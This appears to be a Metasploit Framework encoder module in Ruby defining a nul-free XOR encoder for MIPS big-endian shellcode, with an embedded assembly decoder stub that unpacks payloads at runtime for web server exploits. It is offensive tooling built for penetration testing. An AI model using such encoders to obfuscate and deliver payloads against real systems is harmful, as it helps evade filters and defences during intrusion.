149 lines
4.4 KiB
Ruby
149 lines
4.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasm'
|
|
|
|
class MetasploitModule < Msf::Encoder::Xor
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'XOR Encoder',
|
|
'Description' => %q{
|
|
Mips Web server exploit friendly xor encoder
|
|
},
|
|
'Author' =>
|
|
[ 'Julien Tinnes <julien[at]cr0.org>', # original shellcode
|
|
'Pedro Ribeiro <pedrib@gmail.com>', # fix Linux >= 2.6.11 and toupper() compat
|
|
],
|
|
'Arch' => ARCH_MIPSBE,
|
|
'License' => MSF_LICENSE,
|
|
'Decoder' =>
|
|
{
|
|
'KeySize' => 4,
|
|
'BlockSize' => 4,
|
|
'KeyPack' => 'N',
|
|
})
|
|
end
|
|
|
|
#
|
|
# Returns the decoder stub that is adjusted for the size of the buffer
|
|
# being encoded.
|
|
#
|
|
def decoder_stub(state)
|
|
|
|
# add one xor operation for the key (see comment below)
|
|
number_of_passes=state.buf.length/4+1
|
|
raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
|
|
raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
|
|
|
|
# 16-bits not (again, see below)
|
|
reg_10 = (number_of_passes+1)^0xFFFF
|
|
reg_5 = state.buf.length^0xFFFF
|
|
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
|
|
;
|
|
; MIPS nul-free xor decoder
|
|
;
|
|
; (C) 2006 Julien TINNES
|
|
; <julien at cr0.org>
|
|
;
|
|
; The first four bytes in encoded shellcode must be the xor key
|
|
; This means that you have to put the xor key right after
|
|
; this xor decoder
|
|
; This key will be considered part of the encoded shellcode
|
|
; by this decoder and will be xored, thus becoming 4NULs, meaning nop
|
|
;
|
|
; This is Linux-only because I use the cacheflush system call
|
|
;
|
|
; You can use shellforge to assemble this, but be sure to discard all
|
|
; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
|
|
;
|
|
; change 2 bytes in the first instruction's opcode with the number of passes
|
|
; the number of passes is the number of xor operations to apply, which should be
|
|
; 1 (for the key) + the number of 4-bytes words you have in your shellcode
|
|
; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
|
|
|
|
|
|
;.text
|
|
;.align 2
|
|
;.globl main
|
|
;.ent main
|
|
;.type main,@function
|
|
|
|
main:
|
|
|
|
li macro reg, imm
|
|
; lui reg, ((imm) >> 16) & 0ffffh
|
|
; ori reg, reg, (imm) & 0ffffh
|
|
addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
|
|
endm
|
|
|
|
li( $10, #{reg_10}) ; load number of passes ^ 0xffff
|
|
nor $10, $10, $0 ; put number of passes in $10
|
|
|
|
li( $11,-89) ; addend to calculated PC is 73
|
|
;.set noreorder
|
|
next:
|
|
bltzal $8, next
|
|
;.set reorder
|
|
slti $8, $0, 0x8282
|
|
nor $11, $11, $0 ; addend in $9
|
|
addu $25, $31, $11 ; $25 points to encoded shellcode +4
|
|
addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)
|
|
|
|
; lui $2, 0xDDDD ; first part of the xor (old method)
|
|
slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
|
|
; ori $17, $2, 0xDDDD ; second part of the xor (old method)
|
|
lw $17, -4($25) ; load xor key in $17
|
|
|
|
|
|
li( $9, -5)
|
|
nor $9, $9, $0 ; 4 in $9
|
|
|
|
addi $15, $9, -3 ; 1 in $15
|
|
loop:
|
|
lw $8, -4($25)
|
|
|
|
addu $23, $23, $15 ; increment counter
|
|
xor $3, $8, $17
|
|
sltu $30, $23, $10 ; enough loops?
|
|
sw $3, -4($25)
|
|
addi $6, $9, -1 ; 3 in $6 (for cacheflush)
|
|
bne $0, $30, loop
|
|
addu $25, $25, $9 ; next instruction to decode :)
|
|
|
|
|
|
addiu $4, $16, -4 ; cacheflush() addr parameter
|
|
li( $10,#{reg_5}) ; cacheflush() nbytes parameter
|
|
nor $5, $10, $0 ; same as above
|
|
; li $6,3 ; $6 is set above, 3rd arg for cacheflush()
|
|
|
|
; .set noreorder
|
|
li( $2, 4147) ; cacheflush
|
|
; .ascii "\\x01JT\\x0c" ; nul-free syscall
|
|
syscall 0x52950
|
|
; .set reorder
|
|
|
|
|
|
; write last decoder opcode and decoded shellcode
|
|
; li $4,1 ; stdout
|
|
; addi $5, $16, -8
|
|
; li $6,40 ; how much to write
|
|
; .set noreorder
|
|
; li $2, 4004 ; write
|
|
; syscall
|
|
; .set reorder
|
|
|
|
|
|
nop ; encoded shellcoded must be here (xor key right here ;)
|
|
; $t9 (aka $25) points here
|
|
|
|
EOS
|
|
# put the key at the end of the decoder
|
|
state.decoder_key_offset = decoder.length - 4
|
|
|
|
return decoder
|
|
end
|
|
end
|